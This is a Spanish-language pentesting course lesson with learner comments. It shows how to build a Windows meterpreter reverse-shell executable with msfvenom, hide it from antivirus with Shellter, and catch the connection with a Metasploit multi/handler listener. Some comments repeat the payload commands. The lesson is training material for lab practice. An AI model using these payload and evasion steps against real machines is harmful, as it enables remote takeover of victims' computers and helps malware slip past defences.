Creación de Malware y Estrategias de Ingeniería Social

Contenido del curso

Introducción al pentesting a redes

Ataques a protocolos de red

Ataques de ingeniería social

Ataques de denegación de servicio

Ataques a redes inalámbricas

Conclusiones, creación de informe y bibliografía

Tomar examen

Cursos Empresas Blog Live Conf Eventos Precios

0:008:53

Creación de Malware y Estrategias de Ingeniería Social

Curso de Pentesting a Redes

Clase 21 de 33

Clase 21 / 33

Recursos

¿Cómo combinar estrategias de pentesting?

Pentesting, o pruebas de penetración, es un enfoque riguroso para evaluar la seguridad de un sistema. La clave del éxito como pentester es la capacidad de combinar diferentes estrategias y enfoques desde distintos ángulos. La adaptabilidad es crucial; es fundamental conocer múltiples herramientas y cómo usarlas en diversos escenarios. Así logramos sobrepasar obstáculos o problemas inesperados que surjan en el camino. Aquí exploraremos cómo aplicar estas estrategias combinando diversas tecnologías y técnicas.

¿Qué es el comando MSFvenom y cómo se utiliza?

MSFvenom es una herramienta poderosa dentro de la suite Metasploit que permite generar payloads o cargas útiles en múltiples formatos. Un payload es un fragmento de código diseñado para ejecutarse con un propósito específico, generalmente para obtener acceso remoto a una máquina.

Ejemplo de uso del comando:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.103 LPORT=4444 -f exe -o archivo.exe

Aquí se crea un archivo ejecutable (en formato .exe) que contiene un payload meterpreter usando el protocolo TCP inverso. Mediante LHOST y LPORT, se especifican la dirección IP y el puerto al cual se conectará la máquina objetivo una vez comprometida.

¿Para qué se usa la herramienta Shelter?

Shelter es una herramienta utilizada para ofuscar código. La ofuscación se utiliza para proteger el código haciendo difícil su análisis o detección por antivirus. Así, el código malicioso pasa inadvertido y no es bloqueado.

Para empezar, utilizamos el modo automático:

shelter.exe -f archivo.exe

Esta herramienta procesa el archivo para ocultar su propósito original, transformándolo en un archivo menos evidente para los sistemas de defensa, sin modificar su funcionalidad maliciosa.

¿Cómo montar el entorno con Metasploit?

Metasploit es una suite esencial para pruebas de seguridad, ampliamente usada para desarrollar y ejecutar exploits contra un sistema remoto. Para preparar el entorno en Metasploit, primero se inicia el servicio de su base de datos:

service postgresql start
msfconsole

Una vez en la consola de Metasploit, se selecciona el módulo correspondiente y se configuran los parámetros:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.103
set LPORT 4444

Finalmente, el exploit se ejecuta con el comando:

exploit

Esta configuración permite que el sistema esté preparado para escuchar conexiones, listo para recibir intentos de acceso a través del payload previamente configurado.

¿Cuál es la importancia de combinar herramientas y metodologías?

La combinación de herramientas y metodologías no solo mejora la efectividad del pentesting, sino que también aumenta las probabilidades de éxito en diversas situaciones. Trabajar con diferentes herramientas y aproximaciones permite una flexibilidad crucial para sortear desafíos singulares que podrían surgir durante las pruebas. Además:

Diversidad de herramientas significa múltiples soluciones para problemas similares.
Al estar bien preparado, es posible actuar ante situaciones inesperadas.
La familiaridad con diversas herramientas proporciona un enfoque integral en las pruebas de seguridad, ampliando el espectro de análisis y posibles resultados.

Con estas estrategias, se puede avanzar más eficientemente en la tarea de evaluar y reforzar la seguridad de un sistema. Con perseverancia y práctica diligente, cada paso en el aprendizaje del pentesting refuerza no solo la habilidad técnica, sino también la capacidad de anticipar posibles fallas de seguridad. ¡Continúa adelante en tu camino de aprendizaje!

Comentarios (7)7 comentarios

Louis Joseph Sandoval Rojas

Hace 6 años

En caso no hayan pasado antes por el curso de fundamentos, les hago saber que SHELLTER no viene preinstalada en las ultimas versiones de Kali, por ello deberán instalarlo. Shellter funciona en arquitecturas de 32 bits, por ello, en caso usen una de 64 bit, deberán agregar esa arquitectura con el siguiente comando dpkg --add-architecture i386 && apt update && apt -y install wine32

Voy a dar un consejo, quizás muchos llegan a este punto sin practicar, porque se les perdió la conexión entre maquinas y no sabían como restablecerlas luego de usar determinadas herramientas, o cambiar las configuraciones, la verdad es que quizás con justa razón, Juan Pablo asume que podrán corregir esos problemas y el siguiente video lo empieza habiendo cambiado la configuración hecha en el anterior. Bueno, sin mas embrollo, si eso les pasa y por ello están pensando en abandonar, solo vuelvan hacer la configuración de RIP en el router uno y luego reinicien los servicios en router 2 y seguidamente router 1, y se les restablecerá la conexión, ah claro, deben también editar los archivos de /etc/network/inetrfaces de la maquina Kali que hayan cambiado o en todo caso apáguenla y vuelvan a prenderla, dado que las configuraciones son temporales Saludos

Vittorio L

Hace 5 años

gracias sobretodo poner otra vez el ip desde dinamico a ponerlo otra vez statico en /etc/network/inetrfaces y poner le red internal-10 otra vez , o sea como estaba antes y reiniciar todo!

Jefferson Pacheco Suárez

Hace 3 años

No me suelen gustar las versiones boot porque generan muchos problemas de compatibilidad con los paquetes cuando se hacen actualizaciones o se descargan herramientas nuevas. Tuve que descargar e instalar de nuevo una versión installer de Kali, porque la live no me permitió descargar shellter por falta de espacio y por incompatibilidades con el manejador de paquetes.

Yerson Steven Rojas Barragan

Hace 4 años

hoy a dia, estan a unos pocos dias de salir un nuevocurso de metasploit

Benjamin Núñez Sanza

Hace unos meses intenté usar Shellter con un "explorer.exe" que saqué de Windows 11. El problema es que fue ahi cuando me di cuenta que Shellter solo funciona con ejecutables de 32 bits.

Existe algún equivalente a Shellter que me permita trabajar con ejecutables de 64 bits? O que tema debería aprender para hacer manualmente ese tipo de cosas?

Samuel Zurisaday Rivera Bravo

No sé si a ustedes les pasa que al crear el meterpreter:

msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST:10.0.15 LPORT=4444 -o /root/archivo.exe

Aprece que si fue creado, pero no aparece el exe al ejecutar ls -la

ayuda con esto, por favor

José Ángel Navarro Almendárez

no marco algun error durante la ejecucion del comando?

aqui hay un typo: LHOST = 10.0.15

Caleb Nuñez Muro

Sí no les aparece el archivo.exe auqnue les diga que ya lo creo, intenten así: msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST:10.0.15 LPORT=444 -o archivo.exe

william soliz castillo

Hace 2 años

no se a que curso de pentesting hace referencia el docente, segun estoy haciendo todos los cursos de especialista de ciberseguridad

Introducción al pentesting a redes

Ethical Hacking y Pruebas de Penetración en Redes

Configuración de Redes y Protocolos para Pentesting Avanzado

Técnicas Avanzadas de Penetration Testing y Explotación de Redes

Configuración y Simulación de Servidor DHCP en Redes Virtuales

Protocolos de Enrutamiento Dinámico: Vector Distancia y Estado Enlace

Configuración y Administración de Quagga para Enrutamiento RIP

Configuración de Protocolos de Enrutamiento Dinámico con Quagga

Configuración de Enrutadores y Redes en Debian

Traducción de Direcciones IP con NAT en Redes Locales

Exploración de Subdominios y DNS para Auditoría de Seguridad

Ataques a protocolos de red

Ataques de Hombre en el Medio: Interceptación con ARP y Ettercap

Ataques MITM y DNS Spoofing en Redes Locales con Kali Linux

Ataque de Hombre en el Medio usando Protocolo DHCP

Ataque y Construcción de Paquetes RIP con Scapy en Python

Inyección de Paquetes y Monitoreo de Tráfico en Redes

Configuración de Interfaces Ficticias y Ataques de Red con Scapy

Inyección de Datos en Redes Internas a través de NAT

Inyección de Datos en Redes Internas mediante Puertos Aleatorios

Ataques de ingeniería social

Ataques de Ingeniería Social: Técnicas y Prevención

Ataques de Ingeniería Social con SET en Kali Linux

Creación de Malware y Estrategias de Ingeniería Social

Clonación de Páginas Web para Redirección de Archivos Maliciosos

Ataques de denegación de servicio

Ataques de Denegación de Servicio: Simulación y Prevención

Ataques de Denegación de Servicio con Hping3 en Kali Linux

Ataques de Denegación de Servicio en Redes Locales

Análisis y Uso de LOIC en Ataques de Denegación de Servicio

Ataques de Denegación de Servicio: Herramientas y Estrategias Seguras

Ataques a redes inalámbricas

Intercepción y análisis de tráfico en redes WiFi con Kali Linux

Auditoría de Redes Inalámbricas con Kali Linux

Captura y análisis de tráfico para obtener contraseñas WiFi

Obtención de contraseñas WPA2 mediante ataques de diccionario

Conclusiones, creación de informe y bibliografía

Elaboración de Informes en Auditorías de Seguridad Informática

Recursos y Recomendaciones en Seguridad Informática

Creación de Malware y Estrategias de Ingeniería Social